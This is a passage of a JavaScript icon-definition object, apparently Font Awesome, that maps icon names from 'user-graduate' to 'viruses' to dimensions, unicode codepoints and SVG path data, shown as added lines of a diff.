"user-graduate": [ 448, 512, [], "f501", "M319.4 320.6L224 416l-95.4-95.4C57.1 323.7 0 382.2 0 454.4v9.6c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-9.6c0-72.2-57.1-130.7-128.6-133.8zM13.6 79.8l6.4 1.5v58.4c-7 4.2-12 11.5-12 20.3 0 8.4 4.6 15.4 11.1 19.7L3.5 242c-1.7 6.9 2.1 14 7.6 14h41.8c5.5 0 9.3-7.1 7.6-14l-15.6-62.3C51.4 175.4 56 168.4 56 160c0-8.8-5-16.1-12-20.3V87.1l66 15.9c-8.6 17.2-14 36.4-14 57 0 70.7 57.3 128 128 128s128-57.3 128-128c0-20.6-5.3-39.8-14-57l96.3-23.2c18.2-4.4 18.2-27.1 0-31.5l-190.4-46c-13-3.1-26.7-3.1-39.7 0L13.6 48.2c-18.1 4.4-18.1 27.2 0 31.6z" ], + "user-injured": [ 448, 512, [], "f728", "M277.37 11.98C261.08 4.47 243.11 0 224 0c-53.69 0-99.5 33.13-118.51 80h81.19l90.69-68.02zM342.51 80c-7.9-19.47-20.67-36.2-36.49-49.52L239.99 80h102.52zM224 256c70.69 0 128-57.31 128-128 0-5.48-.95-10.7-1.61-16H97.61c-.67 5.3-1.61 10.52-1.61 16 0 70.69 57.31 128 128 128zM80 299.7V512h128.26l-98.45-221.52A132.835 132.835 0 0 0 80 299.7zM0 464c0 26.51 21.49 48 48 48V320.24C18.88 344.89 0 381.26 0 422.4V464zm256-48h-55.38l42.67 96H256c26.47 0 48-21.53 48-48s-21.53-48-48-48zm57.6-128h-16.71c-22.24 10.18-46.88 16-72.89 16s-50.65-5.82-72.89-16h-7.37l42.67 96H256c44.11 0 80 35.89 80 80 0 18.08-6.26 34.59-16.41 48H400c26.51 0 48-21.49 48-48v-41.6c0-74.23-60.17-134.4-134.4-134.4z" ], + "user-lock": [ 640, 512, [], "f502", "M224 256A128 128 0 1 0 96 128a128 128 0 0 0 128 128zm96 64a63.08 63.08 0 0 1 8.1-30.5c-4.8-.5-9.5-1.5-14.5-1.5h-16.7a174.08 174.08 0 0 1-145.8 0h-16.7A134.43 134.43 0 0 0 0 422.4V464a48 48 0 0 0 48 48h280.9a63.54 63.54 0 0 1-8.9-32zm288-32h-32v-80a80 80 0 0 0-160 0v80h-32a32 32 0 0 0-32 32v160a32 32 0 0 0 32 32h224a32 32 0 0 0 32-32V320a32 32 0 0 0-32-32zM496 432a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm32-144h-64v-80a32 32 0 0 1 64 0z" ], + "user-md": [ 448, 512, [], "f0f0", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zM104 424c0 13.3 10.7 24 24 24s24-10.7 24-24-10.7-24-24-24-24 10.7-24 24zm216-135.4v49c36.5 7.4 64 39.8 64 78.4v41.7c0 7.6-5.4 14.2-12.9 15.7l-32.2 6.4c-4.3.9-8.5-1.9-9.4-6.3l-3.1-15.7c-.9-4.3 1.9-8.6 6.3-9.4l19.3-3.9V416c0-62.8-96-65.1-96 1.9v26.7l19.3 3.9c4.3.9 7.1 5.1 6.3 9.4l-3.1 15.7c-.9 4.3-5.1 7.1-9.4 6.3l-31.2-4.2c-7.9-1.1-13.8-7.8-13.8-15.9V416c0-38.6 27.5-70.9 64-78.4v-45.2c-2.2.7-4.4 1.1-6.6 1.9-18 6.3-37.3 9.8-57.4 9.8s-39.4-3.5-57.4-9.8c-7.4-2.6-14.9-4.2-22.6-5.2v81.6c23.1 6.9 40 28.1 40 53.4 0 30.9-25.1 56-56 56s-56-25.1-56-56c0-25.3 16.9-46.5 40-53.4v-80.4C48.5 301 0 355.8 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-72-56.8-130.3-128-133.8z" ], + "user-minus": [ 640, 512, [], "f503", "M624 208H432c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h192c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z" ], + "user-ninja": [ 448, 512, [], "f504", "M325.4 289.2L224 390.6 122.6 289.2C54 295.3 0 352.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-70.2-54-127.1-122.6-133.2zM32 192c27.3 0 51.8-11.5 69.2-29.7 15.1 53.9 64 93.7 122.8 93.7 70.7 0 128-57.3 128-128S294.7 0 224 0c-50.4 0-93.6 29.4-114.5 71.8C92.1 47.8 64 32 32 32c0 33.4 17.1 62.8 43.1 80-26 17.2-43.1 46.6-43.1 80zm144-96h96c17.7 0 32 14.3 32 32H144c0-17.7 14.3-32 32-32z" ], + "user-nurse": [ 448, 512, [], "f82f", "M319.41,320,224,415.39,128.59,320C57.1,323.1,0,381.6,0,453.79A58.21,58.21,0,0,0,58.21,512H389.79A58.21,58.21,0,0,0,448,453.79C448,381.6,390.9,323.1,319.41,320ZM224,304A128,128,0,0,0,352,176V65.82a32,32,0,0,0-20.76-30L246.47,4.07a64,64,0,0,0-44.94,0L116.76,35.86A32,32,0,0,0,96,65.82V176A128,128,0,0,0,224,304ZM184,71.67a5,5,0,0,1,5-5h21.67V45a5,5,0,0,1,5-5h16.66a5,5,0,0,1,5,5V66.67H259a5,5,0,0,1,5,5V88.33a5,5,0,0,1-5,5H237.33V115a5,5,0,0,1-5,5H215.67a5,5,0,0,1-5-5V93.33H189a5,5,0,0,1-5-5ZM144,160H304v16a80,80,0,0,1-160,0Z" ], + "user-plus": [ 640, 512, [], "f234", "M624 208h-64v-64c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v64h-64c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h64v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-64h64c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z" ], + "user-secret": [ 448, 512, [], "f21b", "M383.9 308.3l23.9-62.6c4-10.5-3.7-21.7-15-21.7h-58.5c11-18.9 17.8-40.6 17.8-64v-.3c39.2-7.8 64-19.1 64-31.7 0-13.3-27.3-25.1-70.1-33-9.2-32.8-27-65.8-40.6-82.8-9.5-11.9-25.9-15.6-39.5-8.8l-27.6 13.8c-9 4.5-19.6 4.5-28.6 0L182.1 3.4c-13.6-6.8-30-3.1-39.5 8.8-13.5 17-31.4 50-40.6 82.8-42.7 7.9-70 19.7-70 33 0 12.6 24.8 23.9 64 31.7v.3c0 23.4 6.8 45.1 17.8 64H56.3c-11.5 0-19.2 11.7-14.7 22.3l25.8 60.2C27.3 329.8 0 372.7 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-48.4-25.8-90.4-64.1-114.1zM176 480l-41.6-192 49.6 32 24 40-32 120zm96 0l-32-120 24-40 49.6-32L272 480zm41.7-298.5c-3.9 11.9-7 24.6-16.5 33.4-10.1 9.3-48 22.4-64-25-2.8-8.4-15.4-8.4-18.3 0-17 50.2-56 32.4-64 25-9.5-8.8-12.7-21.5-16.5-33.4-.8-2.5-6.3-5.7-6.3-5.8v-10.8c28.3 3.6 61 5.8 96 5.8s67.7-2.1 96-5.8v10.8c-.1.1-5.6 3.2-6.4 5.8z" ], + "user-shield": [ 640, 512, [], "f505", "M622.3 271.1l-115.2-45c-4.1-1.6-12.6-3.7-22.2 0l-115.2 45c-10.7 4.2-17.7 14-17.7 24.9 0 111.6 68.7 188.8 132.9 213.9 9.6 3.7 18 1.6 22.2 0C558.4 489.9 640 420.5 640 296c0-10.9-7-20.7-17.7-24.9zM496 462.4V273.3l95.5 37.3c-5.6 87.1-60.9 135.4-95.5 151.8zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm96 40c0-2.5.8-4.8 1.1-7.2-2.5-.1-4.9-.8-7.5-.8h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c6.8 0 13.3-1.5 19.2-4-54-42.9-99.2-116.7-99.2-212z" ], + "user-slash": [ 640, 512, [], "f506", "M633.8 458.1L362.3 248.3C412.1 230.7 448 183.8 448 128 448 57.3 390.7 0 320 0c-67.1 0-121.5 51.8-126.9 117.4L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM96 422.4V464c0 26.5 21.5 48 48 48h350.2L207.4 290.3C144.2 301.3 96 356 96 422.4z" ], + "user-tag": [ 640, 512, [], "f507", "M630.6 364.9l-90.3-90.2c-12-12-28.3-18.7-45.3-18.7h-79.3c-17.7 0-32 14.3-32 32v79.2c0 17 6.7 33.2 18.7 45.2l90.3 90.2c12.5 12.5 32.8 12.5 45.3 0l92.5-92.5c12.6-12.5 12.6-32.7.1-45.2zm-182.8-21c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24c0 13.2-10.7 24-24 24zm-223.8-88c70.7 0 128-57.3 128-128C352 57.3 294.7 0 224 0S96 57.3 96 128c0 70.6 57.3 127.9 128 127.9zm127.8 111.2V294c-12.2-3.6-24.9-6.2-38.2-6.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 287.9 0 348.1 0 422.3v41.6c0 26.5 21.5 48 48 48h352c15.5 0 29.1-7.5 37.9-18.9l-58-58c-18.1-18.1-28.1-42.2-28.1-67.9z" ], + "user-tie": [ 448, 512, [], "f508", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm95.8 32.6L272 480l-32-136 32-56h-96l32 56-32 136-47.8-191.4C56.9 292 0 350.3 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-72.1-56.9-130.4-128.2-133.8z" ], + "user-times": [ 640, 512, [], "f235", "M589.6 240l45.6-45.6c6.3-6.3 6.3-16.5 0-22.8l-22.8-22.8c-6.3-6.3-16.5-6.3-22.8 0L544 194.4l-45.6-45.6c-6.3-6.3-16.5-6.3-22.8 0l-22.8 22.8c-6.3 6.3-6.3 16.5 0 22.8l45.6 45.6-45.6 45.6c-6.3 6.3-6.3 16.5 0 22.8l22.8 22.8c6.3 6.3 16.5 6.3 22.8 0l45.6-45.6 45.6 45.6c6.3 6.3 16.5 6.3 22.8 0l22.8-22.8c6.3-6.3 6.3-16.5 0-22.8L589.6 240zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z" ], + users: [ 640, 512, [], "f0c0", "M96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm448 0c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm32 32h-64c-17.6 0-33.5 7.1-45.1 18.6 40.3 22.1 68.9 62 75.1 109.4h66c17.7 0 32-14.3 32-32v-32c0-35.3-28.7-64-64-64zm-256 0c61.9 0 112-50.1 112-112S381.9 32 320 32 208 82.1 208 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zm-223.7-13.4C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z" ], + "users-cog": [ 640, 512, [], "f509", "M610.5 341.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 368.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm224 32c1.9 0 3.7-.5 5.6-.6 8.3-21.7 20.5-42.1 36.3-59.2 7.4-8 17.9-12.6 28.9-12.6 6.9 0 13.7 1.8 19.6 5.3l7.9 4.6c.8-.5 1.6-.9 2.4-1.4 7-14.6 11.2-30.8 11.2-48 0-61.9-50.1-112-112-112S208 82.1 208 144c0 61.9 50.1 112 112 112zm105.2 194.5c-2.3-1.2-4.6-2.6-6.8-3.9-8.2 4.8-15.3 9.8-27.5 9.8-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-10.7-34.5 24.9-49.7 25.8-50.3-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-3.8-2.2-7-5-9.8-8.1-3.3.2-6.5.6-9.8.6-24.6 0-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h255.4c-3.7-6-6.2-12.8-6.2-20.3v-9.2zM173.1 274.6C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z" ], + "users-slash": [ 640, 512, [], "e073", "M132.65,212.32,36.21,137.78A63.4,63.4,0,0,0,32,160a63.84,63.84,0,0,0,100.65,52.32Zm40.44,62.28A63.79,63.79,0,0,0,128,256H64A64.06,64.06,0,0,0,0,320v32a32,32,0,0,0,32,32H97.91A146.62,146.62,0,0,1,173.09,274.6ZM544,224a64,64,0,1,0-64-64A64.06,64.06,0,0,0,544,224ZM500.56,355.11a114.24,114.24,0,0,0-84.47-65.28L361,247.23c41.46-16.3,71-55.92,71-103.23A111.93,111.93,0,0,0,320,32c-57.14,0-103.69,42.83-110.6,98.08L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM128,403.21V432a48,48,0,0,0,48,48H464a47.45,47.45,0,0,0,12.57-1.87L232,289.13C173.74,294.83,128,343.42,128,403.21ZM576,256H512a63.79,63.79,0,0,0-45.09,18.6A146.29,146.29,0,0,1,542,384h66a32,32,0,0,0,32-32V320A64.06,64.06,0,0,0,576,256Z" ], + "utensil-spoon": [ 512, 512, [], "f2e5", "M480.1 31.9c-55-55.1-164.9-34.5-227.8 28.5-49.3 49.3-55.1 110-28.8 160.4L9 413.2c-11.6 10.5-12.1 28.5-1 39.5L59.3 504c11 11 29.1 10.5 39.5-1.1l192.4-214.4c50.4 26.3 111.1 20.5 160.4-28.8 63-62.9 83.6-172.8 28.5-227.8z" ], + utensils: [ 416, 512, [], "f2e7", "M207.9 15.2c.8 4.7 16.1 94.5 16.1 128.8 0 52.3-27.8 89.6-68.9 104.6L168 486.7c.7 13.7-10.2 25.3-24 25.3H80c-13.7 0-24.7-11.5-24-25.3l12.9-238.1C27.7 233.6 0 196.2 0 144 0 109.6 15.3 19.9 16.1 15.2 19.3-5.1 61.4-5.4 64 16.3v141.2c1.3 3.4 15.1 3.2 16 0 1.4-25.3 7.9-139.2 8-141.8 3.3-20.8 44.7-20.8 47.9 0 .2 2.7 6.6 116.5 8 141.8.9 3.2 14.8 3.4 16 0V16.3c2.6-21.6 44.8-21.4 48-1.1zm119.2 285.7l-15 185.1c-1.2 14 9.9 26 23.9 26h56c13.3 0 24-10.7 24-24V24c0-13.2-10.7-24-24-24-82.5 0-221.4 178.5-64.9 300.9z" ], + "vector-square": [ 512, 512, [], "f5cb", "M512 128V32c0-17.67-14.33-32-32-32h-96c-17.67 0-32 14.33-32 32H160c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32v192c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32h192c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32V160c17.67 0 32-14.33 32-32zm-96-64h32v32h-32V64zM64 64h32v32H64V64zm32 384H64v-32h32v32zm352 0h-32v-32h32v32zm-32-96h-32c-17.67 0-32 14.33-32 32v32H160v-32c0-17.67-14.33-32-32-32H96V160h32c17.67 0 32-14.33 32-32V96h192v32c0 17.67 14.33 32 32 32h32v192z" ], + venus: [ 288, 512, [], "f221", "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z" ], + "venus-double": [ 512, 512, [], "f226", "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80zm336 140.4V368h36c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-36v36c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-36h-36c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h36v-51.6c-21.2-4.8-40.6-14.3-57.2-27.3 14-16.7 25-36 32.1-57.1 14.5 14.8 34.7 24 57.1 24 44.1 0 80-35.9 80-80s-35.9-80-80-80c-22.3 0-42.6 9.2-57.1 24-7.1-21.1-18-40.4-32.1-57.1C303.4 43.6 334.3 32 368 32c79.5 0 144 64.5 144 144 0 68.5-47.9 125.9-112 140.4z" ], + "venus-mars": [ 576, 512, [], "f228", "M564 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C422.5 72.1 396.2 64 368 64c-33.7 0-64.6 11.6-89.2 30.9 14 16.7 25 36 32.1 57.1 14.5-14.8 34.7-24 57.1-24 44.1 0 80 35.9 80 80s-35.9 80-80 80c-22.3 0-42.6-9.2-57.1-24-7.1 21.1-18 40.4-32.1 57.1 24.5 19.4 55.5 30.9 89.2 30.9 79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 64C64.5 64 0 128.5 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.6 112-71.9 112-140.4 0-79.5-64.5-144-144-144zm0 224c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" ], + vest: [ 448, 512, [], "e085", "M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a24.021,24.021,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A24.021,24.021,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.564A151.518,151.518,0,0,0,224,86.234a151.55,151.55,0,0,0,73.812-19.672L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM131.312,371.312l-48,48a16,16,0,0,1-22.624-22.624l48-48a16,16,0,0,1,22.624,22.624Zm256,48a15.992,15.992,0,0,1-22.624,0l-48-48a16,16,0,0,1,22.624-22.624l48,48A15.993,15.993,0,0,1,387.312,419.312Z" ], + "vest-patches": [ 448, 512, [], "e086", "M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a23.982,23.982,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A23.982,23.982,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.561A151.579,151.579,0,0,0,224,86.234a151.565,151.565,0,0,0,73.811-19.668L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM63.5,272.484a12.01,12.01,0,0,1,17-16.968l15.5,15.5,15.5-15.5a12.01,12.01,0,0,1,17,16.968L112.984,288,128.5,303.516a12.01,12.01,0,0,1-17,16.968L96,304.984l-15.5,15.5a12.01,12.01,0,0,1-17-16.968L79.016,288ZM96,456a40,40,0,1,1,40-40A40,40,0,0,1,96,456ZM359.227,335.785,310.7,336a6.671,6.671,0,0,1-6.7-6.7l.215-48.574A24.987,24.987,0,0,1,331.43,256.1c12.789,1.162,22.129,12.619,22.056,25.419l-.037,5.057,5.051-.037c12.826-.035,24.236,9.275,25.4,22.076A24.948,24.948,0,0,1,359.227,335.785Z" ], + vial: [ 480, 512, [], "f492", "M477.7 186.1L309.5 18.3c-3.1-3.1-8.2-3.1-11.3 0l-34 33.9c-3.1 3.1-3.1 8.2 0 11.3l11.2 11.1L33 316.5c-38.8 38.7-45.1 102-9.4 143.5 20.6 24 49.5 36 78.4 35.9 26.4 0 52.8-10 72.9-30.1l246.3-245.7 11.2 11.1c3.1 3.1 8.2 3.1 11.3 0l34-33.9c3.1-3 3.1-8.1 0-11.2zM318 256H161l148-147.7 78.5 78.3L318 256z" ], + vials: [ 640, 512, [], "f493", "M72 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H72c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64zm480 384H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM360 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64z" ], + video: [ 576, 512, [], "f03d", "M336.2 64H47.8C21.4 64 0 85.4 0 111.8v288.4C0 426.6 21.4 448 47.8 448h288.4c26.4 0 47.8-21.4 47.8-47.8V111.8c0-26.4-21.4-47.8-47.8-47.8zm189.4 37.7L416 177.3v157.4l109.6 75.5c21.2 14.6 50.4-.3 50.4-25.8V127.5c0-25.4-29.1-40.4-50.4-25.8z" ], + "video-slash": [ 640, 512, [], "f4e2", "M633.8 458.1l-55-42.5c15.4-1.4 29.2-13.7 29.2-31.1v-257c0-25.5-29.1-40.4-50.4-25.8L448 177.3v137.2l-32-24.7v-178c0-26.4-21.4-47.8-47.8-47.8H123.9L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4L42.7 82 416 370.6l178.5 138c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.5-6.9 4.2-17-2.8-22.4zM32 400.2c0 26.4 21.4 47.8 47.8 47.8h288.4c11.2 0 21.4-4 29.6-10.5L32 154.7v245.5z" ], + vihara: [ 640, 512, [], "f6a7", "M632.88 400.71L544 352v-64l55.16-17.69c11.79-5.9 11.79-22.72 0-28.62L480 192v-64l27.31-16.3c7.72-7.72 5.61-20.74-4.16-25.62L320 0 136.85 86.07c-9.77 4.88-11.88 17.9-4.16 25.62L160 128v64L40.84 241.69c-11.79 5.9-11.79 22.72 0 28.62L96 288v64L7.12 400.71c-5.42 3.62-7.7 9.63-7 15.29.62 5.01 3.57 9.75 8.72 12.33L64 448v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48l55.15-19.67c5.16-2.58 8.1-7.32 8.72-12.33.71-5.67-1.57-11.68-6.99-15.29zM224 128h192v64H224v-64zm-64 224v-64h320v64H160z" ], + virus: [ 512, 512, [], "e074", "M483.55,227.55H462c-50.68,0-76.07-61.27-40.23-97.11L437,115.19A28.44,28.44,0,0,0,396.8,75L381.56,90.22c-35.84,35.83-97.11,10.45-97.11-40.23V28.44a28.45,28.45,0,0,0-56.9,0V50c0,50.68-61.27,76.06-97.11,40.23L115.2,75A28.44,28.44,0,0,0,75,115.19l15.25,15.25c35.84,35.84,10.45,97.11-40.23,97.11H28.45a28.45,28.45,0,1,0,0,56.89H50c50.68,0,76.07,61.28,40.23,97.12L75,396.8A28.45,28.45,0,0,0,115.2,437l15.24-15.25c35.84-35.84,97.11-10.45,97.11,40.23v21.54a28.45,28.45,0,0,0,56.9,0V462c0-50.68,61.27-76.07,97.11-40.23L396.8,437A28.45,28.45,0,0,0,437,396.8l-15.25-15.24c-35.84-35.84-10.45-97.12,40.23-97.12h21.54a28.45,28.45,0,1,0,0-56.89ZM224,272a48,48,0,1,1,48-48A48,48,0,0,1,224,272Zm80,56a24,24,0,1,1,24-24A24,24,0,0,1,304,328Z" ], + "virus-slash": [ 640, 512, [], "e075", "M114,227.6H92.4C76.7,227.6,64,240.3,64,256s12.7,28.4,28.4,28.4H114c50.7,0,76.1,61.3,40.2,97.1L139,396.8 c-11.5,10.7-12.2,28.7-1.6,40.2s28.7,12.2,40.2,1.6c0.5-0.5,1.1-1,1.6-1.6l15.2-15.2c35.8-35.8,97.1-10.5,97.1,40.2v21.5 c0,15.7,12.8,28.4,28.5,28.4c15.7,0,28.4-12.7,28.4-28.4V462c0-26.6,17-45.9,38.2-53.4l-244.5-189 C133.7,224.7,123.9,227.5,114,227.6z M617,505.8l19.6-25.3c5.4-7,4.2-17-2.8-22.5L470.6,332c4.2-25.4,24.9-47.5,55.4-47.5h21.5 c15.7,0,28.4-12.7,28.4-28.4s-12.7-28.4-28.4-28.4H526c-50.7,0-76.1-61.3-40.2-97.1l15.2-15.3c10.7-11.5,10-29.5-1.6-40.2 c-10.9-10.1-27.7-10.1-38.6,0l-15.2,15.2c-35.8,35.8-97.1,10.5-97.1-40.2V28.5C348.4,12.7,335.7,0,320,0 c-15.7,0-28.4,12.7-28.4,28.4V50c0,50.7-61.3,76.1-97.1,40.2L179.2,75c-11.1-11.1-29.4-10.6-40.5,0.5L45.5,3.4 c-7-5.4-17-4.2-22.5,2.8L3.4,31.5c-5.4,7-4.2,17,2.8,22.5l588.4,454.7C601.5,514.1,611.6,512.8,617,505.8z M335.4,227.5l-62.9-48.6 c4.9-1.8,10.2-2.8,15.4-2.9c26.5,0,48,21.5,48,48C336,225.2,335.5,226.3,335.4,227.5z" ], + viruses: [ 640, 512, [], "e076", 